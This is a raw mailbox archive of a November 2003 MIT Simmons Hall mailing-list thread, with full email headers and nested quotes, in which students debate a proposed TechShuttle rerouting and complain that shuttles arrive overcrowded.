the time it makes it to simmons on a cold winter day and a extra > >shuttle every 10 would be beneficial. I vote no. > > > >Aron > > > >At 09:41 AM 11/24/2003 -0500, you wrote: > >>In this plan, if I read it right, we (including all of the residents of >west > >>campus) would essentially be forfeiting all of the advantages of a more > >>frequent winter tech shuttle by allowing this plan to proceed. Right me if > >>I'm wrong. Do other sims care? > >> > >> > >>_______________________________________________ > >>Sponge-Talk@mit.edu - Making good use of MIT's e-mail resources > >> > >>---- For Archives & Subscription: Sponge-talk@mit.edu > >>http://mailman.mit.edu/mailman/listinfo/sponge-talk > >_______________________________________________ >Sponge-Talk@mit.edu - Making good use of MIT's e-mail resources > >---- For Archives & Subscription: Sponge-talk@mit.edu >http://mailman.mit.edu/mailman/listinfo/sponge-talk > >_______________________________________________ >Sponge-Talk@mit.edu - Making good use of MIT's e-mail resources > >---- For Archives & Subscription: Sponge-talk@mit.edu >http://mailman.mit.edu/mailman/listinfo/sponge-talk _______________________________________________ Sponge-Talk@mit.edu - Making good use of MIT's e-mail resources ---- For Archives & Subscription: Sponge-talk@mit.edu http://mailman.mit.edu/mailman/listinfo/sponge-talk >From - Mon Nov 24 19:56:03 2003 X-Mozilla-Status: 0011 X-Mozilla-Status2: 00000000 Return-Path: Received: from po9.mit.edu (po9.mit.edu [18.7.21.65]) by po9.mit.edu (Cyrus v2.1.5) with LMTP; Mon, 24 Nov 2003 18:33:06 -0500 X-Sieve: CMU Sieve 2.2 Received: from pacific-carrier-annex.mit.edu by po9.mit.edu (8.12.4/4.7) id hAONX16I016161; Mon, 24 Nov 2003 18:33:01 -0500 (EST) Received: from pch.mit.edu (PCH.MIT.EDU [18.7.21.90]) by pacific-carrier-annex.mit.edu (8.12.4/8.9.2) with ESMTP id hAONWfFm021094; Mon, 24 Nov 2003 18:32:41 -0500 (EST) Received: from pch.mit.edu (localhost [127.0.0.1]) by pch.mit.edu (8.12.8p2/8.12.8) with ESMTP id hAONWdqb002023; Mon, 24 Nov 2003 18:32:39 -0500 (EST) Received: from fort-point-station.mit.edu (FORT-POINT-STATION.MIT.EDU [18.7.7.76]) by pch.mit.edu (8.12.8p2/8.12.8) with ESMTP id hAONWcqb002019 for ; Mon, 24 Nov 2003 18:32:38 -0500 (EST) Received: from websnail.mit.edu (WEBSNAIL.MIT.EDU [18.7.22.71]) hAONWXL8011115; Mon, 24 Nov 2003 18:32:33 -0500 (EST) Received: (from www@localhost) by websnail.mit.edu (8.9.3) id SAA14422; Mon, 24 Nov 2003 18:32:33 -0500 (EST) From: ataylor@MIT.EDU Received: from 18.96.1.118 ( [18.96.1.118]) as user ataylor@MIT.EDU by webmail.mit.edu with HTTPS; Mon, 24 Nov 2003 18:32:33 -0500 Message-ID: <1069716753.3fc295113e1de@webmail.mit.edu> Date: Mon, 24 Nov 2003 18:32:33 -0500 To: ""Kaitlin E.M. Lewis"" Subject: RE: RE: [Sponge-talk] Proposed Tech Shuttle Changes References: <5.2.1.1.2.20031124152415.00b59a28@po10.mit.edu> <5.2.1.1.2.20031124170829.0157bd48@po12.mit.edu> In-Reply-To: <5.2.1.1.2.20031124170829.0157bd48@po12.mit.edu> MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit User-Agent: Internet Messaging Program (IMP) 3.1-cvs X-Originating-IP: 18.96.1.118 X-Originating-Host: X-MIT-WebMail-Sender: X-MIT-WebMail-User-Browser: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) cc: sponge-talk@mit.edu cc: Aron Zingman cc: Amy Wu X-BeenThere: sponge-talk@mit.edu X-Mailman-Version: 2.1 Precedence: list List-Id: Discussion surrounding Simmons Hall List-Help: List-Post: List-Subscribe: , List-Archive: List-Unsubscribe: , Sender: sponge-talk-bounces@MIT.EDU Errors-To: sponge-talk-bounces@MIT.EDU X-Spam-Score: -0.6 X-Spam-Flag: NO X-Scanned-By: MIMEDefang 2.28 (www . roaringpenguin . com / mimedefang) It's unfair that people in Sid-Pac, Edgerton, etc. have no access to any TechShuttle. But even with 10 minute tech shuttles, it is often packed by the time it gets to Simmons because of people getting on at Tang. Maybe if they had one ""grad-dorm"" route and one ""undergrad"" route (basically, put Tang on a different route) this would even out, and every 20 minutes would still work and we could get on. Quoting ""Kaitlin E.M. Lewis"" : > that was my experience last year with the tech shuttle. i mean, i have > that problem now sometimes...i'm about to get on and the guy is like, no > sorry, no more people. the lower wait time isn't the only thing the west > side dorms are losing....but simmons gets the raw end of the deal with the > west side dorms because of how many people choose to use the shuttle in the > winter. > > kait > > At 04:35 PM 11/24/2003 -0500, Amy Wu wrote: > >i do like the idea of having a shuttle for the NW pplz (esp. Sid-Pac), but > >aron is right about tech shuttle being full by the time it reaches simmons > >during the winter months. it's not a matter of waiting an extra 10 mins for > >a tech shuttle (from the GSC- ""One difference introduced by the current > plan > >is that some users would not receive a reduced waiting time of 10 minutes > >between shuttles during the winter schedule hours. Our hope is that these > >users would be willing to accommodate this change so that better coverage > >can be provided to MIT community members as a whole""). the problem is that > >all these grad students and pplz from the other side of the field pile up > on > >tech shuttle so that by the time it gets to simmons, there is no room. im > >sure a lot of pplz who lived in simmons last year experienced this. the > tech > >shuttle is literally jam packed...every space is taken up... > > > >anyways, i didn't really take a side...but those are my thoughts=) > > > >~amy > > > > > >-----Original Message----- > >From: sponge-talk-bounces@MIT.EDU [mailto:sponge-talk-bounces@MIT.EDU]On > >Behalf Of Aron Zingman > >Sent: Monday, November 24, 2003 3:24 PM > >To: sponge-talk@mit.edu > >Subject: Fwd: RE: [Sponge-talk] Proposed Tech Shuttle Changes > > > > > > > > >Date: Mon, 24 Nov 2003 11:52:35 -0500 > > >To: ""Andrew Lukmann"" > > >From: Aron Zingman > > >Subject: RE: [Sponge-talk] Proposed Tech Shuttle Changes > > > > > >Agreed. Isn't 8-11 the only time that anyone really cares about having > > >the extra shuttle (rushing to the morning class in the snow). So there > > >would be extra coverage for the east campus dorms where you can walk > > >almost the whole way indoors anyway, but no extra coverage for all of the > > >west campus undergrad (and grad) houses? As the last shuttle stop > > >following all of those boring brick buildings on the other side of the > > >field, I would have to imagine that the shuttle will be pretty much full > > >by the time it makes it to simmons on a cold winter day and a extra > > >shuttle every 10 would be beneficial. I vote no. > > > > > >Aron > > > > > >At 09:41 AM 11/24/2003 -0500, you wrote: > > >>In this plan, if I read it right, we (including all of the residents of > >west > > >>campus) would essentially be forfeiting all of the advantages of a more > > >>frequent winter tech shuttle by allowing this plan to proceed. Right me > if > > >>I'm wrong. Do other sims care? > > >> > > >> > > >>_______________________________________________ > > >>Sponge-Talk@mit.edu - Making good use of MIT's e-mail resources > > >> > > >>---- For Archives & Subscription: Sponge-talk@mit.edu > > >>http://mailman.mit.edu/mailman/listinfo/sponge-talk > > > >_______________________________________________ > >Sponge-Talk@mit.edu - Making good use of MIT's e-mail resources > > > >---- For Archives & Subscription: Sponge-talk@mit.edu > >http://mailman.mit.edu/mailman/listinfo/sponge-talk > > > >_______________________________________________ > >Sponge-Talk@mit.edu - Making good use of MIT's e-mail resources > > > >---- For Archives & Subscription: Sponge-talk@mit.edu > >http://mailman.mit.edu/mailman/listinfo/sponge-talk > > _______________________________________________ > Sponge-Talk@mit.edu - Making good use of MIT's e-mail resources > > ---- For Archives & Subscription: Sponge-talk@mit.edu > http://mailman.mit.edu/mailman/listinfo/sponge-talk > _______________________________________________ Sponge-Talk@mit.edu - Making good use of MIT's e-mail resources ---- For Archives & Subscription: Sponge-talk@mit.edu http://mailman.mit.edu/mailman/listinfo/sponge-talk >From - Mon Nov 24 19:56:04 2003 X-Mozilla-Status: 0011 X-Mozilla-Status2: 00000000 Return-Path: Received: from po9.mit.edu (po9.mit.edu [18.7.21.65]) by po9.mit.edu (Cyrus v2.1.5) with LMTP; Mon, 24 Nov 2003 19:22:55 -0500 X-Sieve: CMU Sieve 2.2 Received: from pacific-carrier-annex.mit.edu by po9.mit.edu (8.12.4/4.7) id hAP0Mo6I011146; Mon, 24 Nov 2003 19:22:50 -0500 (EST) Received: from pch.mit.edu (PCH.MIT.EDU [18.7.21.90]) by pacific-carrier-annex.mit.edu (8.12.4/8.9.2) with ESMTP id hAP0MEFm018413; Mon, 24 Nov 2003 19:22:14 -0500 (EST) Received: from pch.mit.edu (localhost [127.0.0.1]) by pch.mit.edu (8.12.8p2/8.12.8) with ESMTP id hAP0MBqb003016; Mon, 24 Nov 2003 19:22:11 -0500 (EST) Received: from biscayne-one-station.mit.edu (BISCAYNE-ONE-STATION.MIT.EDU [18.7.7.80]) by pch.mit.edu (8.12.8p2/8.12.8) with ESMTP id hAP0M9qb003012 for ; Mon, 24 Nov 2003 19:22:09 -0500 (EST) Received: from melbourne-city-street.mit.edu (MELBOURNE-CITY-STREET.MIT.EDU [18.7.21.86])hAP0M93k012939 for ; Mon, 24 Nov 2003 19:22:09 -0500 (EST) Received: from w20-575-21.mit.edu (W20-575-21.MIT.EDU [18.187.0.40]) (authenticated bits=56) (User authenticated as janetryu@ATHENA.MIT.EDU)hAP0M8Zs029969 for ; Mon, 24 Nov 2003 19:22:08 -0500 (EST) Received: (from janetryu@localhost) by w20-575-21.mit.edu (8.12.9) id hAP0M7iJ032044; Mon, 24 Nov 2003 19:22:07 -0500 Date: Mon, 24 Nov 2003 19:22:07 -0500 (EST) From: Janet S Ryu To: sponge-talk@mit.edu Subject: RE: [Sponge-talk] Proposed Tech Shuttle Changes In-Reply-To: <5.0.2.1.2.20031124163957.00a8bab0@hesiod> Message-ID: References: <5.2.1.1.2.20031124152415.00b59a28@po10.mit.edu> <5.0.2.1.2.20031124163957.00a8bab0@hesiod> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-BeenThere: sponge-talk@mit.edu X-Mailman-Version: 2.1 Precedence: list List-Id: Discussion surrounding Simmons Hall List-Help: List-Post: List-Subscribe: , List-Archive: List-Unsubscribe: , Sender: sponge-talk-bounces@MIT.EDU Errors-To: sponge-talk-bounces@MIT.EDU X-Spam-Score: -2.1 X-Spam-Flag: NO X-Scanned-By: MIMEDefang 2.28 (www . roaringpenguin . com / mimedefang) There were many times last year when the Tech Shuttle was packed by the time it came to Simmons. The shuttle didn't even stop; it just drove on by. So I haven't actually read what these proposed changes are, but Simmons got shafted last year even with the current tech shuttle route and winter schedule. Janet On Mon, 24 Nov 2003, Eileen Huang wrote: > Before somebody accuses us of being lazy because Simmons isn't that far > from campus, I'd like to point out that: > 1) Our sidewalk gets shovelled long after they shovel dorm row (Mem. Drive) > 2) When they do shovel our sidewalk, they do a pretty poor job > 3) The incredibly cracked and uneven pavement only worsens with harsh weather > > At 04:35 PM 11/24/2003 -0500, you wrote: > >i do like the idea of having a shuttle for the NW pplz (esp. Sid-Pac), but > >aron is right about tech shuttle being full by the time it reaches simmons > >during the winter months. it's not a matter of waiting an extra 10 mins for > >a tech shuttle (from the GSC- ""One difference introduced by the current plan > >is that some users would not receive a reduced waiting time of 10 minutes > >between shuttles during the winter schedule hours. Our hope is that these > >users would be willing to accommodate this change so that better coverage > >can be provided to MIT community members as a whole""). the problem is that > >all these grad students and pplz from the other side of the field pile up on > >tech shuttle so that by the time it gets to simmons, there is no room. im > >sure a lot of pplz who lived in simmons last year experienced this. the tech > >shuttle is literally jam packed...every space is taken up... > > > >anyways, i didn't really take a side...but those are my thoughts=) > > > >~amy > > _______________________________________________ > Sponge-Talk@mit.edu - Making good use of MIT's e-mail resources > > ---- For Archives & Subscription: Sponge-talk@mit.edu > http://mailman.mit.edu/mailman/listinfo/sponge-talk > _______________________________________________ Sponge-Talk@mit.edu - Making good use of MIT's e-mail resources ---- For Archives & Subscription: Sponge-talk@mit.edu http://mailman.mit.edu/mailman/listinfo/sponge-talk >From - Mon Nov 24 22:23:35 2003 X-Mozilla-Status: 0011 X-Mozilla-Status2: 00000000 Return-Path: Received: from po9.mit.edu (po9.mit.edu [18.7.21.65]) by po9.mit.edu (Cyrus v2.1.5) with LMTP; Mon, 24 Nov 2003 21:47:20 -0500 X-Sieve: CMU Sieve 2.2 Received: from central-city-carrier-station.mit.edu by po9.mit.edu (8.12.4/4.7) id hAP2lF6I020063; Mon, 24 Nov 2003 21:47:15 -0500 (EST) Received: from melbourne-city-street.mit.edu (MELBOURNE-CITY-STREET.MIT.EDU [18.7.21.86]) by central-city-carrier-station.mit.edu (8.12.4/8.9.2) with ESMTP id hAP2l999014817; Mon, 24 Nov 2003 21:47:09 -0500 (EST) Received: from AmadoDeHoyos (SIMMONS-ONE-NINETY-EIGHT.MIT.EDU [18.96.5.198]) ) by melbourne-city-street.mit.edu (8.12.4/8.12.4) with ESMTP id hAP2l8FE022408; Mon, 24 Nov 2003 21:47:08 -0500 (EST) From: ""Amado DeHoyos"" To: ""'Seth'"" , , Subject: RE: Fwd: [Sponge-talk] Proposed Tech Shuttle Changes Date: Mon, 24 Nov 2003 21:46:55 -0500 Organization: Massachusetts Institute of Technology Message-ID: <00f101c3b2fe$639b3820$c6056012@AmadoDeHoyos> MIME-Version: 1.0 Content-Type: text/plain; charset=""US-ASCII"" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook, Build 10.0.2616 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165 Importance: Normal In-Reply-To: <3FC21642.8020707@mit.edu> X-Spam-Score: -5.1 X-Spam-Flag: NO X-Scanned-By: MIMEDefang 2.28 (www . roaringpenguin . com / mimedefang) Is it the case that most people are taking the shuttle just to get to 77 Mass Ave. and then walk inside the buildings to their various classes. Or is it that most people are taking it to Sloan from Simmons. I think it is probably the former. If this is the case, perhaps the new route could cover all the dorms and the NW section of campus and just stop back at 77 - not loop around to Sloan. This way, two shuttles would stop by most of the undergrad dorms (including Simmons) and then if people needed to go to Sloan, they could catch the Sloan-bound Techshuttle from 77 (or the Fleet stop at the intersection of Mass Ave and Vassar). I don't know, maybe I'm restating an idea that has already been posted here, but in any case, this seems like it would alleviate some of the troubles brought on by solely redirecting the second shuttle. -Amado -----Original Message----- From: sponge-talk-bounces@MIT.EDU [mailto:sponge-talk-bounces@MIT.EDU] On Behalf Of Seth Sent: Monday, November 24, 2003 9:32 AM To: klang@mit.edu; sponge-talk@mit.edu Subject: Re: Fwd: [Sponge-talk] Proposed Tech Shuttle Changes http://web.mit.edu/gsc/www/studentlife/transportation/tsproposal2003.sht ml ~Seth klang@MIT.EDU wrote: > whoops, sorry about that. what I meant to say was... > > from this it isn't really clear to me what the actual proposed changes are, > rather they've only laid out what the proposed goal is. > > would this new service be year-round, or only during the winter months when > there are two shuttles anyway? > > which stops would not benefit from the 10-minute-interval winter service? i.e. > who are they skipping? or are they two completely separate routes? > > what would the time between pickups be for SP, warehouse, etc? > > -Kevin > > > > > Quoting ""Kevin R. Lang"" : > > >>>X-Sieve: CMU Sieve 2.2 >>>X-Sender: nbaksh@hesiod (Unverified) >>>X-Mailer: QUALCOMM Windows Eudora Version 5.1 >>>Date: Mon, 24 Nov 2003 08:47:28 -0500 >>>To: sponge-talk@mit.edu >>>From: Nicholas Baksh >>>X-MIME-Autoconverted: from quoted-printable to 8bit by pch.mit.edu id >>> hAODlBqb005735 >>>Subject: [Sponge-talk] Proposed Tech Shuttle Changes >>>X-BeenThere: sponge-talk@mit.edu >>>X-Mailman-Version: 2.1 >>>List-Id: Discussion surrounding Simmons Hall >>>List-Help: >>>List-Post: >>>List-Subscribe: , >>> >>>List-Archive: >>>List-Unsubscribe: , >>> >>>Sender: sponge-talk-bounces@MIT.EDU >>>X-Spam-Score: 0.6 >>>X-Spam-Flag: NO >>>X-Scanned-By: MIMEDefang 2.28 (www . roaringpenguin . com / mimedefang) >>> >>>Do you think this would be a good idea or a bad idea, post notice to >>>sponge talk >>> >>> >>> >>>>Current TechShuttle service: >>>>-Covers most of the southern and eastern parts of main campus >>>>-Has a wait time of 20 minutes between shuttles >>>>-Additional winter shuttle (Dec. - Apr.) reduces wait time to 10 minutes >>>> >>>>Effect of proposed change: >>>>-Provides morning coverage to residents in the northwest part of campus >>>> (Edgerton House, the Warehouse, Sidney-Pacific, Random Hall, WILG) >>>>-Over 1200 additional undergraduate and graduate students would have >>>> convenient and direct access from their residences. >>>>-Some stops along the current route will not experience a decreased >>> >>waiting >> >>>> time of 10 minutes >>>> >>>>Summary: >>>>-Current TechShuttle route and times won't be affected >>>>-Second shuttle will be partially re-routed from the hours of 8am - 11am >>>>-Outside of this time window, TechShuttle operation will remain unchanged >>> >>> >>>_______________________________________________ >>>Sponge-Talk@mit.edu - Making good use of MIT's e-mail resources >>> >>>---- For Archives & Subscription: Sponge-talk@mit.edu >>>http://mailman.mit.edu/mailman/listinfo/sponge-talk >> >> >>_______________________________________________ >>Sponge-Talk@mit.edu - Making good use of MIT's e-mail resources >> >>---- For Archives & Subscription: Sponge-talk@mit.edu >>http://mailman.mit.edu/mailman/listinfo/sponge-talk >> > > > > > _______________________________________________ > Sponge-Talk@mit.edu - Making good use of MIT's e-mail resources > > ---- For Archives & Subscription: Sponge-talk@mit.edu > http://mailman.mit.edu/mailman/listinfo/sponge-talk > _______________________________________________ Sponge-Talk@mit.edu - Making good use of MIT's e-mail resources ---- For Archives & Subscription: Sponge-talk@mit.edu http://mailman.mit.edu/mailman/listinfo/sponge-talk >From - Tue Nov 25 09:13:38 2003 X-Mozilla-Status: 0011 X-Mozilla-Status2: 00000000 Return-Path: Received: from po9.mit.edu (po9.mit.edu [18.7.21.65]) by po9.mit.edu (Cyrus v2.1.5) with LMTP; Tue, 25 Nov 2003 01:37:14 -0500 X-Sieve: CMU Sieve 2.2 Received: from fort-point-station.mit.edu by po9.mit.edu (8.12.4/4.7) id hAP6b96I016796; Tue, 25 Nov 2003 01:37:09 -0500 (EST) Received: from pch.mit.edu (PCH.MIT.EDU [18.7.21.90]) by fort-point-station.mit.edu (8.12.4/8.9.2) with ESMTP id hAP6aPlP025012; Tue, 25 Nov 2003 01:36:25 -0500 (EST) Received: from pch.mit.edu (localhost [127.0.0.1]) by pch.mit.edu (8.12.8p2/8.12.8) with ESMTP id hAP6aNqb008090; Tue, 25 Nov 2003 01:36:23 -0500 (EST) Received: from fort-point-station.mit.edu (FORT-POINT-STATION.MIT.EDU [18.7.7.76]) by pch.mit.edu (8.12.8p2/8.12.8) with ESMTP id hAP6aLqb008086 for ; Tue, 25 Nov 2003 01:36:21 -0500 (EST) Received: from central-city-carrier-station.mit.edu (CENTRAL-CITY-CARRIER-STATION.MIT.EDU [18.7.7.72])hAP6aLlP024949 for ; Tue, 25 Nov 2003 01:36:21 -0500 (EST) Received: from melbourne-city-street.mit.edu (MELBOURNE-CITY-STREET.MIT.EDU [18.7.21.86])hAP6aLrM025546 for ; Tue, 25 Nov 2003 01:36:21 -0500 (EST) Received: from [18.96.0.159] (GILLIANH.MIT.EDU [18.96.0.159]) ) hAP6aKFF027033 for ; Tue, 25 Nov 2003 01:36:20 -0500 (EST) Mime-Version: 1.0 X-Sender: gillianh@hesiod Message-Id: In-Reply-To: <1069716753.3fc295113e1de@webmail.mit.edu> References: <5.2.1.1.2.20031124152415.00b59a28@po10.mit.edu> <5.2.1.1.2.20031124170829.0157bd48@po12.mit.edu> <1069716753.3fc295113e1de@webmail.mit.edu> Date: Tue, 25 Nov 2003 01:36:16 -0500 To: sponge-talk@mit.edu From: Gillian Harding Subject: RE: RE: [Sponge-talk] Proposed Tech Shuttle Changes Content-Type: text/plain; charset=""us-ascii"" ; format=""flowed"" X-BeenThere: sponge-talk@mit.edu X-Mailman-Version: 2.1 Precedence: list List-Id: Discussion surrounding Simmons Hall List-Help: List-Post: List-Subscribe: , List-Archive: List-Unsubscribe: , Sender: sponge-talk-bounces@MIT.EDU Errors-To: sponge-talk-bounces@MIT.EDU X-Spam-Score: -0.5 X-Spam-Flag: NO X-Scanned-By: MIMEDefang 2.28 (www . roaringpenguin . com / mimedefang) Personally, I come from a much colder and snowier place than here and can deal with the walk to 77. However, the only times I ever take any of the shuttles is to go to my early morning classes at Sloan. I don't think it would be fair to cut out the west dorm people from Sloan since there are a lot of people who need to go there (more sloan blg folks on the west side than other parts of campus) and its at least a 20 minute walk. However, I agree wholeheartedly that something needs to be done about the compactness of the shuttle when it reaches Simmons. Even over the summer, the Tech shuttle was often full at Simmons. >It's unfair that people in Sid-Pac, Edgerton, etc. have no access to any >TechShuttle. But even with 10 minute tech shuttles, it is often packed by the >time it gets to Simmons because of people getting on at Tang. Maybe if they >had one ""grad-dorm"" route and one ""undergrad"" route (basically, put Tang on a >different route) this would even out, and every 20 minutes would >still work and >we could get on. > >Quoting ""Kaitlin E.M. Lewis"" : > >> that was my experience last year with the tech shuttle. i mean, i have >> that problem now sometimes...i'm about to get on and the guy is like, no >> sorry, no more people. the lower wait time isn't the only thing the west >> side dorms are losing....but simmons gets the raw end of the deal with the >> west side dorms because of how many people choose to use the shuttle in the >> winter. >> >> kait >> >> At 04:35 PM 11/24/2003 -0500, Amy Wu wrote: >> >i do like the idea of having a shuttle for the NW pplz (esp. Sid-Pac), but >> >aron is right about tech shuttle being full by the time it reaches simmons >> >during the winter months. it's not a matter of waiting an extra 10 mins for >> >a tech shuttle (from the GSC- ""One difference introduced by the current >> plan >> >is that some users would not receive a reduced waiting time of 10 minutes >> >between shuttles during the winter schedule hours. Our hope is that these >> >users would be willing to accommodate this change so that better coverage >> >can be provided to MIT community members as a whole""). the problem is that >> >all these grad students and pplz from the other side of the field pile up >> on >> >tech shuttle so that by the time it gets to simmons, there is no room. im >> >sure a lot of pplz who lived in simmons last year experienced this. the >> tech >> >shuttle is literally jam packed...every space is taken up... >> > >> >anyways, i didn't really take a side...but those are my thoughts=) > > > > > >~amy > > > > > > > > >-----Original Message----- > > >From: sponge-talk-bounces@MIT.EDU [mailto:sponge-talk-bounces@MIT.EDU]On > > >Behalf Of Aron Zingman >> >Sent: Monday, November 24, 2003 3:24 PM >> >To: sponge-talk@mit.edu >> >Subject: Fwd: RE: [Sponge-talk] Proposed Tech Shuttle Changes >> > >> > >> > >> > >Date: Mon, 24 Nov 2003 11:52:35 -0500 >> > >To: ""Andrew Lukmann"" >> > >From: Aron Zingman >> > >Subject: RE: [Sponge-talk] Proposed Tech Shuttle Changes >> > > >> > >Agreed. Isn't 8-11 the only time that anyone really cares about having >> > >the extra shuttle (rushing to the morning class in the snow). So there >> > >would be extra coverage for the east campus dorms where you can walk >> > >almost the whole way indoors anyway, but no extra coverage for all of the >> > >west campus undergrad (and grad) houses? As the last shuttle stop >> > >following all of those boring brick buildings on the other side of the >> > >field, I would have to imagine that the shuttle will be pretty much full >> > >by the time it makes it to simmons on a cold winter day and a extra >> > >shuttle every 10 would be beneficial. I vote no. >> > > >> > >Aron >> > > >> > >At 09:41 AM 11/24/2003 -0500, you wrote: >> > >>In this plan, if I read it right, we (including all of the residents of >> >west >> > >>campus) would essentially be forfeiting all of the advantages of a more >> > >>frequent winter tech shuttle by allowing this plan to proceed. Right me > > if >> > >>I'm wrong. Do other sims care? >> > >> >> > >> >> > >>_______________________________________________ >> > >>Sponge-Talk@mit.edu - Making good use of MIT's e-mail resources >> > >> >> > >>---- For Archives & Subscription: Sponge-talk@mit.edu >> > >>http://mailman.mit.edu/mailman/listinfo/sponge-talk >> > >> >_______________________________________________ >> >Sponge-Talk@mit.edu - Making good use of MIT's e-mail resources >> > >> >---- For Archives & Subscription: Sponge-talk@mit.edu >> >http://mailman.mit.edu/mailman/listinfo/sponge-talk >> > >> >_______________________________________________ >> >Sponge-Talk@mit.edu - Making good use of MIT's e-mail resources >> > >> >---- For Archives & Subscription: Sponge-talk@mit.edu >> >http://mailman.mit.edu/mailman/listinfo/sponge-talk >> >> _______________________________________________ >> Sponge-Talk@mit.edu - Making good use of MIT's e-mail resources >> >> ---- For Archives & Subscription: Sponge-talk@mit.edu >> http://mailman.mit.edu/mailman/listinfo/sponge-talk >> > > > >_______________________________________________ >Sponge-Talk@mit.edu - Making good use of MIT's e-mail resources > >---- For Archives & Subscription: Sponge-talk@mit.edu >http://mailman.mit.edu/mailman/listinfo/sponge-talk _______________________________________________ Sponge-Talk@mit.edu - Making good use of MIT's e-mail resources ---- For Archives & Subscription: Sponge-talk@mit.edu http://mailman.mit.edu/mailman/listinfo/sponge-talk >From - Tue Nov 25 09:13:39 2003 X-Mozilla-Status: 0011 X-Mozilla-Status2: 00000000 Return-Path: Received: from po9.mit.edu (po9.mit.edu [18.7.21.65]) by po9.mit.edu (Cyrus v2.1.5) with LMTP; Tue, 25 Nov 2003 02:15:21 -0500 X-Sieve: CMU Sieve 2.2 Received: from fort-point-station.mit.edu by po9.mit.edu (8.12.4/4.7) id hAP7FG6I012038; Tue, 25 Nov 2003 02:15:16 -0500 (EST) Received: from pch.mit.edu (PCH.MIT.EDU [18.7.21.90]) by fort-point-station.mit.edu (8.12.4/8.9.2) with ESMTP id hAP7EwlP015323; Tue, 25 Nov 2003 02:14:58 -0500 (EST) Received: from pch.mit.edu (localhost [127.0.0.1]) by pch.mit.edu (8.12.8p2/8.12.8) with ESMTP id hAP7Euqb008744; Tue, 25 Nov 2003 02:14:56 -0500 (EST) Received: from pacific-carrier-annex.mit.edu (PACIFIC-CARRIER-ANNEX.MIT.EDU [18.7.21.83]) by pch.mit.edu (8.12.8p2/8.12.8) with ESMTP id hAP7Esqb008740 for ; Tue, 25 Nov 2003 02:14:54 -0500 (EST) Received: from central-city-carrier-station.mit.edu (CENTRAL-CITY-CARRIER-STATION.MIT.EDU [18.7.7.72])hAP7ErRs007830 for ; Tue, 25 Nov 2003 02:14:53 -0500 (EST) Received: from melbourne-city-street.mit.edu (MELBOURNE-CITY-STREET.MIT.EDU [18.7.21.86])hAP7DJC0026327 for ; Tue, 25 Nov 2003 02:13:30 -0500 (EST) Received: from NEIL-IBM.mit.edu (NJKELLY.MIT.EDU [18.96.1.20]) ) hAP7D2FG000331 for ; Tue, 25 Nov 2003 02:13:04 -0500 (EST) Message-Id: <5.1.0.14.2.20031125021226.00b58c70@hesiod> X-Sender: njkelly@hesiod (Unverified) X-Mailer: QUALCOMM Windows Eudora Version 5.1 Date: Tue, 25 Nov 2003 02:12:46 -0500 To: sponge-talk@mit.edu From: ""Neil J. Kelly"" Subject: RE: RE: [Sponge-talk] Proposed Tech Shuttle Changes In-Reply-To: References: <1069716753.3fc295113e1de@webmail.mit.edu> <5.2.1.1.2.20031124152415.00b59a28@po10.mit.edu> <5.2.1.1.2.20031124170829.0157bd48@po12.mit.edu> <1069716753.3fc295113e1de@webmail.mit.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed X-BeenThere: sponge-talk@mit.edu X-Mailman-Version: 2.1 Precedence: list List-Id: Discussion surrounding Simmons Hall List-Help: List-Post: List-Subscribe: , List-Archive: List-Unsubscribe: , Sender: sponge-talk-bounces@MIT.EDU Errors-To: sponge-talk-bounces@MIT.EDU X-Spam-Score: 0.1 X-Spam-Flag: NO X-Scanned-By: MIMEDefang 2.28 (www . roaringpenguin . com / mimedefang) We need a monorail. At 01:36 AM 11/25/2003 -0500, Gillian Harding wrote: >Personally, I come from a much colder and snowier place than here and can >deal with the walk to 77. However, the only times I ever take any of the >shuttles is to go to my early morning classes at Sloan. I don't think it >would be fair to cut out the west dorm people from Sloan since there are a >lot of people who need to go there (more sloan blg folks on the west side >than other parts of campus) and its at least a 20 minute walk. However, I >agree wholeheartedly that something needs to be done about the >compactness of the shuttle when it reaches Simmons. Even over the summer, >the Tech shuttle was often full at Simmons. > > > >>It's unfair that people in Sid-Pac, Edgerton, etc. have no access to any >>TechShuttle. But even with 10 minute tech shuttles, it is often packed >>by the >>time it gets to Simmons because of people getting on at Tang. Maybe if they >>had one ""grad-dorm"" route and one ""undergrad"" route (basically, put Tang on a >>different route) this would even out, and every 20 minutes would still >>work and >>we could get on. >> >>Quoting ""Kaitlin E.M. Lewis"" : >> >>> that was my experience last year with the tech shuttle. i mean, i have >>> that problem now sometimes...i'm about to get on and the guy is like, no >>> sorry, no more people. the lower wait time isn't the only thing the west >>> side dorms are losing....but simmons gets the raw end of the deal with the >>> west side dorms because of how many people choose to use the shuttle >>> in the >>> winter. >>> >>> kait >>> >>> At 04:35 PM 11/24/2003 -0500, Amy Wu wrote: >>> >i do like the idea of having a shuttle for the NW pplz (esp. >>> Sid-Pac), but >>> >aron is right about tech shuttle being full by the time it reaches >>> simmons >>> >during the winter months. it's not a matter of waiting an extra 10 >>> mins for >>> >a tech shuttle (from the GSC- ""One difference introduced by the current >>> plan >>> >is that some users would not receive a reduced waiting time of 10 minutes >>> >between shuttles during the winter schedule hours. Our hope is that these >>> >users would be willing to accommodate this change so that better coverage >>> >can be provided to MIT community members as a whole""). the problem is >>> that >>> >all these grad students and pplz from the other side of the field pile up >>> on >>> >tech shuttle so that by the time it gets to simmons, there is no room. im >>> >sure a lot of pplz who lived in simmons last year experienced this. the >>> tech >>> >shuttle is literally jam packed...every space is taken up... >>> > >>> >anyways, i didn't really take a side...but those are my thoughts=) >> > > >> > >~amy >> > > >> > > >> > >-----Original Message----- >> > >From: sponge-talk-bounces@MIT.EDU [mailto:sponge-talk-bounces@MIT.EDU]On >> > >Behalf Of Aron Zingman >>> >Sent: Monday, November 24, 2003 3:24 PM >>> >To: sponge-talk@mit.edu >>> >Subject: Fwd: RE: [Sponge-talk] Proposed Tech Shuttle Changes >>> > >>> > >>> > >>> > >Date: Mon, 24 Nov 2003 11:52:35 -0500 >>> > >To: ""Andrew Lukmann"" >>> > >From: Aron Zingman >>> > >Subject: RE: [Sponge-talk] Proposed Tech Shuttle Changes >>> > > >>> > >Agreed. Isn't 8-11 the only time that anyone really cares about >>> having >>> > >the extra shuttle (rushing to the morning class in the snow). So there >>> > >would be extra coverage 